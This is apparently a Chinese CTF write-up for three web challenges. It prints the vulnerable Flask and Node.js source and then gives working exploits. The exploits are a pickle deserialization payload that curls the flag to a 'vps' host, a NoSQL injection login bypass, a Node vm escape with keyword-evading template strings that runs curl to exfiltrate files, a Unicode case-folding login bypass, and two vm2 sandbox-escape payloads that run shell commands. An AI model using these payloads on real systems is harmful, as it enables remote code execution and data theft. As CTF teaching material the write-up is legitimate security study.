ez_python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
usname = request.form['username']
passwd = request.form['password']

if usname and passwd:
heart_cookie = secrets.token_hex(32)
response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
response.set_cookie('heart', heart_cookie)
return response

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
heart_cookie = request.cookies.get('heart')
if not heart_cookie:
return render_template('warning.html')

if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
statement = request.form['statement']

try:
heal_state = base64.b64decode(statement)
print(heal_state)
for i in black.blacklist:
if i in heal_state:
return render_template('waf.html')
pickle.loads(heal_state)
res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
os.system("echo " + flag + " > /flag")
return res
except Exception as e:
print(e)
pass
return "Error!!!! give you hint: maybe you can view /starven_s3cret"

return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

一眼pickle反序列化

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import pickle
import base64
import requests
import subprocess
class exp(object):
def __reduce__(self):
payload = '''curl http://vps:port/`cat /flag|base64`'''
return (subprocess.getoutput,(payload,))

a=exp()
b=pickle.dumps(a)
c=base64.b64encode(b)
print(c)

noSandbox

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//泄露的代码执行和WAF部分代码,不能直接运行

const vm = require('vm');

function waf(code,res) {
let pattern = /(find|ownKeys|fromCharCode|includes|\'|\"|replace|fork|reverse|fs|process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function|env)/m;
if (code.match(pattern)) {
console.log('WAF detected malicious code');
res.status(403).send('WAF detected malicious code');
exit();
}
}


app.post('/execute', upload.none(), (req, res) => {
let code = req.body.code;
const token = req.cookies.token;

if (!token) {
return res.status(403).send('Missing execution code credentials.');
}
if (!jwt.verify(token, JWT_SECRET)) {
return res.status(403).send('Invalid token provided.');
}

console.log(`Received code for execution: ${code}`);

try {
waf(code,res);
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);

let script = new vm.Script(code);
console.log('Executing code in sandbox context');
script.runInContext(context);

console.log(`Code executed successfully. Result: ${sandbox.result || 'No result returned.'}`);
res.json('Code executed successfully' );
} catch (err) {
console.error(`Error executing code: ${err.message}`);
res.status(400).send(`Error: there's no display back here,may be it executed successfully?`);
}
});

首先要通过nosql注入来登录

1
{"username":{"$ne":1},"password": {"$ne":1}}

后面是nodejs的vm沙箱逃逸

用模板字符串绕过关键字检测即可,模板字符串nodejs中 `` 等价于引号可以用来代替字符
比较特殊的是占位符 ${expression} 可以镶套变量 ${}
值得注意的是这里的sandbox环境初始值为 Object.create(null)
本身对回显做了过滤 但是可以出网反弹shell 都是可以的

1
throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();chi=p.mainModule.require(`${`${`child_proces`}s`}`);res=Reflect.get(chi, `${`${`exe`}cSync`}`)(`curl http://vps:9999 -T /f*`);return res.toString();}})

escapeSandbox_PLUS

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const multer = require('multer');
const { VM } = require('vm2');
const crypto = require('crypto');
const path = require('path');

const app = express();

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));

app.use(express.static(path.join(__dirname, 'public')));

const sessionSecret = crypto.randomBytes(64).toString('hex');
app.use(session({
secret: sessionSecret,
resave: false,
saveUninitialized: true,
}));
const upload = multer();
app.post('/login', (req, res) => {
const { username, passwd } = req.body;

if (username.toLowerCase() !== 'syclover' && username.toUpperCase() === 'SYCLOVER' && passwd === 'J1rrY') {
req.session.isAuthenticated = true;
res.json({ message: 'Login successful' });
} else {
res.status(401).json({ message: 'Invalid credentials' });
}
});

const isAuthenticated = (req, res, next) => {
if (req.session.isAuthenticated) {
next();
} else {
res.status(403).json({ message: 'Not authenticated' });
}
};
app.post('/execute', isAuthenticated, upload.none(), (req, res) => {
let code = req.body.code;

let flag = false;
for (let i = 0; i < code.length; i++) {
if (flag || "/(abcdefghijklmnopqrstuvwxyz123456789'\".".split``.some(v => v === code[i])) {
flag = true;
code = code.slice(0, i) + "*" + code.slice(i + 1, code.length);
}
}
try {

const vm = new VM({
sandbox: {
require: undefined,
setTimeout: undefined,
setInterval: undefined,
clearTimeout: undefined,
clearInterval: undefined,
console: console
}
});
const result = vm.run(code.toString());
console.log('执行结果:', result);
res.json({ message: '代码执行成功', result: result });

} catch (e) {

console.error('执行错误:', e);
res.status(500).json({ error: '代码执行出错', details: e.message });
}
});
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
process.on('uncaughtException', (err) => {
console.error('捕获到未处理的异常:', err);
});
process.on('unhandledRejection', (reason, promise) => {
console.error('捕获到未处理的 Promise 错误:', reason);
});
setTimeout(() => {
throw new Error("模拟的错误");
}, 1000);
setTimeout(() => {
Promise.reject(new Error("模拟的 Promise 错误"));
}, 2000);

app.listen(3000, () => {
console.log('Server is running on port 3000');
});

用nodejs里的大小写特性绕过登录

1
2
3
4
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

ſyclover/J1rrY

后面是vm2的沙箱逃逸
这里对执行代码做了简单过滤 可以利用数组绕过 code.lengthcode.slice 的判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('cat /fl* >/app/public/index.html'); }
)
}
}
};
p.then();

或者
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
[customInspectSymbol]: (depth, opt, inspect) => {
inspect.constructor('return process')().mainModule.require('child_process').execSync('cat /fl* >/app/public/index1.html');
},
valueOf: undefined,
constructor: undefined,
}

WebAssembly.compileStreaming(obj).catch(()=>{});